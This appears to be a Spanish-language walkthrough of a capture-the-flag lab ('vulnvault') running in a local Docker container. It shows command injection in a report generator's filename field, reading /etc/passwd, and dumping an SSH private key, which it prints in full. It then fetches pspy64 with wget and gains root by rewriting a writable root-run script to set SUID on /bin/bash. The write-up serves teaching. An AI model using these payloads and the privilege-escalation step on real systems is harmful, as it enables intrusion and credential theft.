



Desplegamos el laboratorio

```
> sudo bash auto_deploy.sh vulnvault.tar
[sudo] contraseña para caan31:
```



```

  Estamos desplegando la máquina vulnerable, espere un momento.
  Máquina desplegada, su dirección IP es → 172.17.0.2
  Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

Haremos un escaneo simple para identificar los puertos abiertos del laboratorio.

```
> nmap -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 20:28 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
```

Ahora que sabemos los puertos que tenemos abiertos, vamos a buscar la versión con la que cuentan.

```
> nmap -p22,80 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 20:28 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000029s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_  256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: Generador de Reportes - Centro de Operaciones
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
```

Vamos a ver que la pagina cuenta con generar un reporte, así que vamos a hacer una prueba de un fichero php, vemos que nos genera un reporte.txt y no ejecuta nada.

Genera tu Reporte

Nombre del Archivo:

Fecha (YYYY-MM-DD):

Generar Reporte

Reportes Generados

Reporte: reporte_1752085741.txt

Archivo de reporte: /var/www/html/reportes/reporte_1752085741.txt
Nombre: hola.php
Fecha: 2003-05-31

Vamos a ejecutar un ls -la para ver si lista algo

Genera tu Reporte

Nombre del Archivo:

`; ls -la`

Fecha (YYYY-MM-DD):

2003-05-31

Generar Reporte

Vemos que podemos ejecutar como una consola.

```
Reporte: reporte_1752085776.txt
Archivo de reporte: /var/www/html/reportes/reporte_1752085776.txt
Nombre: \
total 56
drwxr-xr-x 1 root root 4096 Aug 20 2024 .
drwxr-xr-x 1 root root 4096 Aug 20 2024 ..
-rw-r--r-- 1 root root 4992 Aug 20 2024 index.php
drwxr-xr-x 2 root root 4096 Aug 20 2024 old
drwxr-xr-x 1 www-data www-data 4096 Jul 9 20:29 reportes
-rw-r--r-- 1 root root 1090 Aug 20 2024 scripts.js
-rw-r--r-- 1 root root 2693 Aug 20 2024 styles.css
-rw-r--r-- 1 root root 1215 Aug 20 2024 styles_upload.css
-rw-r--r-- 1 root root 2314 Aug 20 2024 upload.html
-rw-r--r-- 1 root root 1645 Aug 20 2024 upload.js
-rw-r--r-- 1 root root 1296 Aug 20 2024 upload.php
Fecha: 2003-05-31
```

Vamos a ver el passwd del laboratorio.

Genera tu Reporte

Nombre del Archivo:

`; cat /etc/passwd`

Fecha (YYYY-MM-DD):

2003-05-31

Generar Reporte

```
Reporte: reporte_1752085822.txt
Archivo de reporte: /var/www/html/reportes/reporte_1752085822.txt
Nombre: \
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
samara:x:1001:1001:samara,,,:/home/samara:/bin/bash
Fecha: 2003-05-31
```

Vemos que tenemos el usuario samara, así que veremos que nos encontramos en su directorio.

Genera tu Reporte

Nombre del Archivo:

```
; ls -la /home/samara
```

Fecha (YYYY-MM-DD):

2003-05-31

Generar Reporte

Reporte: reporte_1752086050.txt

Archivo de reporte: /var/www/html/reportes/reporte_1752086050.txt

Nombre: \

total 48

```
drwxr-xr-x 1 samara samara 4096 Jul  9 20:27 .
drwxr-xr-x 1 root   root   4096 Aug 20 2024 ..
-rw----- 1 samara samara  218 Aug 20 2024 .bash_history
-rw-r--r-- 1 samara samara  220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 samara samara 3771 Aug 20 2024 .bashrc
drwx----- 2 samara samara 4096 Aug 20 2024 .cache
drwxrwxr-x 3 samara samara 4096 Aug 20 2024 .local
-rw-r--r-- 1 samara samara  807 Aug 20 2024 .profile
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root   root    35 Jul  9 20:34 message.txt
-rw----- 1 samara samara  33 Aug 20 2024 user.txt
```

Fecha: 2003-05-31

Tenemos dos txt, vemos que uno pertenece a root y otro a samara, los vamos a listar y ver que nos encontramos.

Genera tu Reporte

Nombre del Archivo:

```
; cat /home/samara/user.txt
```

Fecha (YYYY-MM-DD):

2003-05-31

Generar Reporte

Reporte: reporte_1752086084.txt

Archivo de reporte: /var/www/html/reportes/reporte_1752086084.txt

Nombre: \

cat: /home/samara/user.txt: Permission denied

Fecha: 2003-05-31

Genera tu Reporte

Nombre del Archivo:

```
; cat /home/samara/message.txt
```

Fecha (YYYY-MM-DD):

```
2003-05-31
```

Generar Reporte

Reporte: reporte_1752086096.txt

```
Archivo de reporte: /var/www/html/reportes/reporte_1752086096.txt
Nombre: \
No tienes permitido estar aqui :(.
Fecha: 2003-05-31
```

Al ver que no nos encontramos nada, vamos a la carpeta .ssh a ver si nos encontramos algo.

Genera tu Reporte

Nombre del Archivo:

```
; ls -la /home/samara/.ssh
```

Fecha (YYYY-MM-DD):

```
2003-05-31
```

Generar Reporte

Vemos que tenemos el id_rsa, vamos a copiárnoslo en nuestro equipo para poder ingresar con ssh a ese usuario

Reporte: reporte_1752086148.txt

```
Archivo de reporte: /var/www/html/reportes/reporte_1752086148.txt
Nombre: \
total 20
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .
drwxr-xr-x 1 samara samara 4096 Jul  9 20:27 ..
-rw-r--r-- 1 root  root   745 Aug 20 2024 authorized_keys
-rw-r--r-- 1 samara samara 3389 Aug 20 2024 id_rsa
-rw-r--r-- 1 samara samara  745 Aug 20 2024 id_rsa.pub
Fecha: 2003-05-31
```

Genera tu Reporte

Nombre del Archivo:

; cat /home/samara/.ssh/id_rsa

Fecha (YYYY-MM-DD):

2003-05-31

Generar Reporte

Reporte: reporte_1752086191.txt

Archivo de reporte: /var/www/html/reportes/reporte_1752086191.txt

Nombre: \

-----BEGIN OPENSSH PRIVATE KEY-----

```
b3B1bnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAACFwAAAAAdzc2gtcn
NhAAAAAwEAAQAAQGEA9HEXYsE0Ut5PUH/2fHI/buNxluV3x2qL6wATg0scjIeog9LSmW3k
K3NLw5yD0N2vEfZxRSuEkUd743i2AZq/gekNEpvuUTnruRTibz/hZojm8CBpjgXccJW63a
ksBBS/G8iqTa4i9l9GFF0ytuGJ5CmAQy37dgNfsP0150rln8jg56rtbUyR9kfcYU8R/B0
GDUo60Ek9kzv6QXzkVf/lmnKlV0/4ioJ5iEyLlZ91NxBHs0WNQBCjry3k0YDnRD5mKj/g
20Z/TWpTh/QylyKFfDQYPrbjXXWEe8nnzmoDolKtWvez0Sjig7TBV0z2swcvIuWoxwNFVL
0j/FnwkwYihlLWl9Gu6Zeddy2+5RfZPRSZrd0+y0vUqHtZHBMBM5nMVyHoh78QyW8bA/q
K93VoLnrF8o19YyZoeNqVP03PE/sSE953JahsHr2iPyNb3q/Hgm+1mn5zL8e++oThK/s43
GeaCpew8JbRf1mD6lkfNZEhAQ2TXvtKRwvWmLxSYmExqgzXD7/XP/ZLUKN0+hQByu+l+VG
Hm2v37ndh0hvtHhNr55GF3/hcnNsg3EeScEENFuty0kpP/+UDvCnL/0CFNKah66QavAiD
Y0hF4ZbgGK9U/A7nhRRF0MSJ5Exn5kJnpJ88R4CsoTurRXKTV2PB6WlBvwnrjcZqEZJtr2
MAAAdQRX/EGUV/xBkAAAAHc3NoLXJzYQAAAGEA9HEXYsE0Ut5PUH/2fHI/buNxluV3x2qL
6wATg0scjIeog9LSmW3kK3NLw5yD0N2vEfZxRSuEkUd743i2AZq/gekNEpvuUTnruRTibz
/hZojm8CBpjgXccJW63aksBBS/G8iqTa4i9l9GFF0ytuGJ5CmAQy37dgNfsP0150rln8jg
56rtbUyR9kfcYU8R/B0GDUo60Ek9kzv6QXzkVf/lmnKlV0/4ioJ5iEyLlZ91NxBHs0WNQ
BCjry3k0YDnRD5mKj/g20Z/TWpTh/QylyKFfDQYPrbjXXWEe8nnzmoDolKtWvez0Sjig7
TBV0z2swcvIuWoxwNFVL0j/FnwkwYihlLWl9Gu6Zeddy2+5RfZPRSZrd0+y0vUqHtZHBMB
M5nMVyHoh78QyW8bA/qK93VoLnrF8o19YyZoeNqVP03PE/sSE953JahsHr2iPyNb3q/Hg
m+1mn5zL8e++oThK/s43GeaCpew8JbRf1mD6lkfNZEhAQ2TXvtKRwvWmLxSYmExqgzXD7/
XP/ZLUKN0+hQByu+l+VGHm2v37ndh0hvtHhNr55GF3/hcnNsg3EeScEENFuty0kpP/+UD
vCnL/0CFNKah66QavAiDY0hF4ZbgGK9U/A7nhRRF0MSJ5Exn5kJnpJ88R4CsoTurRXKTV2
PB6WlBvwnrjcZqEZJtr2MAAADAQAABAACABgooeGPKrKrqGtx14gcIzB6nSwx41aGWBbH
6/sdbiW7dfmKt1saCZyijSRNZeQsq/+oITwFKA70D7pRr++LhrmUCBHNf9kJJZ8aGwLWb
kbDbas1Wcv0Bt2c5YFwBpqfIAqox5IosmhUOqTowBmscTN6CBcmLgUvxn7POCKfK6vbV
OgsD4XyArkTqoK68M5UoPTI8aYKdLFZ+UUDLpts++xfVbld+y6Spd5QecjMv+0WpT0v6Cc
ShWoPLypMftjipBhaNUMZDI1Wypu1EiDT8MN7lMaainp+/KKFXVynTJVTor/l7oz0BNT8Y
ncdZi4ZzcL5f7pUAMHKyp9Lx2GH3CAxSYpGS9lPF3hdVjakeW9v5yk91zvPrS/0Z6pINHs
nqw2t+IZ+vMVujfThHqayKV4etS2vJVTSPX7xplGmspAL0pmQlSF+N4XIxYxgGWzR/Z3w
mIHb67XNtFyjAShT9AV+DmqQ8KX/MPBu7D86asXmX2Sis8lPIyS0w5WZEGNRHZHYkie0K
q0e+s4WeMFjw3XMDG68hCQ81sVAcwVleQnYaooAzse9eco3PD7K58IWL99W4Ib01qHZrGz
yLZI4lrB4cwyeyVfmsGRWwof5uV6n7BnQu6yUvWuBpNz8zsGa8oGu45/b3C7RQ1jaIm/uh
yOJ7J6/op8C05kk5PRAAABAQC1Q2cdNIonHHM6otuWz2PsDwHHKlb4v/8ujanlcCFbpUCZ
erlNqQSBEDPm02BbBNG7n9aMYy9Dnv1qngjme1sYe8UysJ0FU+7npw1XQlRG61p3x1io3r
c5ZwG++xvXlqUu8kf5ki7nFAQTatp2dtVzYA6+WYGHVwzS2VvZxMExwSyJGlbDImGbqC5t
YsZ2XYQyXfwwKzsIL6YpoU40QxrE34T0mu8BJdQsQqm0lhaRa/SUK3PhkPXFRs55nK0Qwi
iZDegE3s3kix54ZiX7RUR9c2jd7C35ydCdfeeo7y9MqAsYJ/ODIqXUhpGLroq3v+gNIJ0S
DeunYTifu03Fsd5gAAABAQD9pnXK6cm7jyXVh4RYJx35q4vDz5NWYREmJLD+hvg43avSV3
McYPA6jkdIJahBBt+S4V5EwnnTXH139HxBX/npVY3m04BiT4lBk6+CRN1RLzIon8zJcuqT
i+GaxvJHI7ZTOAYUkZd/OUetiH2Tzf/gyRNJOLomDE+GFCwEGg1JJi6F1ahNKcGE9+pJ7Z
c7Cq1/nE+ES4I1afGELWuLm0cCpWrdDs1qJeIoLHYL65TLTyDJuyURE72GdM3AoYMSJhj2
qGGctmtik95sGpPAAB5BG0efMKBDHECAYzrXUNvuppkif4VaDGgc/iLKhaucKzhcRndjzc
X8iDpxBn0k4ZgRAAABAQD2tMsD+7SETGvBUX/ax0rutLFeg3fivvoq6gDskon5vG4V26FG
jI0f399is0LC5ws3YYUnnx17bPdRgZMQB//4V3J73H6b8l5xX8N4QmdKgXz6SoPQQA6hLP
jAwS4ipjldB8gEgkLD9wdvbg1f6JU/n5xQqmx/bLdsJAOLwZl5Inq/D10CC59VdTiawRV
6QTg21ka2NDuCTp7jd07F+cmj10MCo5RxlEimjAKcXWfMo0qjflYK3G6gQGxNdPX0mtd5T
5thFC340PAvaA2+JTP8Xl3ynjH0s2CrMFjUx9TumD50/9NkFaBjqg+DFmalanCmRfByQEi0
SgMRNAiIeiQzAAAAE3NhbWfYyUBjNzc4ZTc5MDEXNzkBAgMEBQYH
```

-----END OPENSSH PRIVATE KEY-----

Fecha: 2003-05-31

Ahora en nuestro equipo crearemos un fichero llamado id_rsa y pegaremos la contraseña.

```
~/Documentos/DockerLabs/vulnvault nano id_rsa
```

Le daremos permisos de lectura y escritura para poder conectarnos

```
~/Documentos/DockerLabs/vulnvault 5s chmod 600 id_rsa
```

Con el fichero creado ahora podremos conectarnos con el usuario samara

```
> ssh -i id_rsa samara@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Aug 20 19:54:15 2024 from 172.17.0.1
samara@37a756b648b5:~$
```

Ejecutamos sudo -l para ver como podemos escalar privilegios, pero vemos que no podemos ejecutarlo.

```
samara@37a756b648b5:~$ sudo -l
-bash: sudo: command not found
```

Ahora buscaremos binarios a ver si encontramos algo, pero nada.

```
samara@37a756b648b5:~$ find / -perm -4000 -user root 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
```

Vamos a instalarnos la herramienta pspy64 que nos permitirá Ver procesos ejecutados por otros usuarios, en este caso buscamos root.

```
> ls
auto_deploy.sh  id_rsa  pspy64  vulnvault.tar
```

Lo instalaremos en nuestra maquina local y luego abriremos un servidor http para poder conectarnos desde el laboratorio.

```
> sudo python3 -m http.server 80
[sudo] contraseña para caan31:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```


```
samara@37a756b648b5:~$ wget http://192.168.1.26/pspy64
--2025-07-09 20:42:24-- http://192.168.1.26/pspy64
Connecting to 192.168.1.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                  100%[=====>] 2.96M  --.-KB/s  in 0.002s
2025-07-09 20:42:24 (1.24 GB/s) - 'pspy64' saved [3104768/3104768]
```

Damos permisos de ejecución a la herramienta y la ejecutamos

```
samara@37a756b648b5:~$ chmod +x pspy64
```

```
samara@37a756b648b5:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d



Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
```

Vemos que se ejecuta mucho un fichero por el usuario root.

```
^CExiting program... (interrupt)
samar@37a756b648b5:~$
^CExiting program... (interrupt)
samar@37a756b648b5:~$ cd /usr/local/bin/
samar@37a756b648b5:/usr/local/bin$ ls
echo.sh  generate_report

samar@37a756b648b5:/usr/local/bin$ ls -la
total 24
drwxrwxrwx 1 root root 4096 Jul  9 20:45
drwxr-xr-x 1 root root 4096 Aug  1 2024 ..
-rwxrw-rw- 1 root root  33 Jul  9 20:45 echo.sh
-rwxr-xr-x 1 root root 1412 Aug 20 2024 generate_report
```

Vamos a ver que contiene ese fichero

```
^CExiting program... (interrupt)
samar@37a756b648b5:~$ cd /usr/local/bin/
samar@37a756b648b5:/usr/local/bin$ ls
echo.sh  generate_report
```

```
samar@37a756b648b5:/usr/local/bin$ ls -la
total 24
drwxrwxrwx 1 root root 4096 Jul  9 20:45
drwxr-xr-x 1 root root 4096 Aug  1 2024 ..
-rwxrw-rw- 1 root root  33 Jul  9 20:45 echo.sh
-rwxr-xr-x 1 root root 1412 Aug 20 2024 generate_report
```



```
samara@37a756b648b5:/usr/local/bin$ cat echo.sh
#!/bin/bash

echo "No tienes permitido estar aqui :(" > /home/samara/message.txt
```

Vemos que tenemos permisos para escribir y modificar el script para que podamos tener permisos a la bash porque automáticamente lo ejecuta root.

Lo que escribiremos será `chmod u+s` que activa el SUID bit para el propietario del archivo, luego esto permitirá que se ejecute ese archivo, con los privilegios del dueño del archivo, no con los del usuario que los ejecuta.

```
#!/bin/bash

chmod u+s /bin/bash
```

Ahora con el comando `bash -p` podemos ver que somos root, este comando le dice a bash que no elimine privilegios efectivos al iniciar, porque normalmente al ver que lo ejecuta un usuario normal lo que hace es bajar los privilegios para protegerlo, con `bash -p`, mantiene los privilegios elevados y nos permite ser root.

```
samara@37a756b648b5:/usr/local/bin$ bash -p
bash-5.2# whoami
root
bash-5.2#
```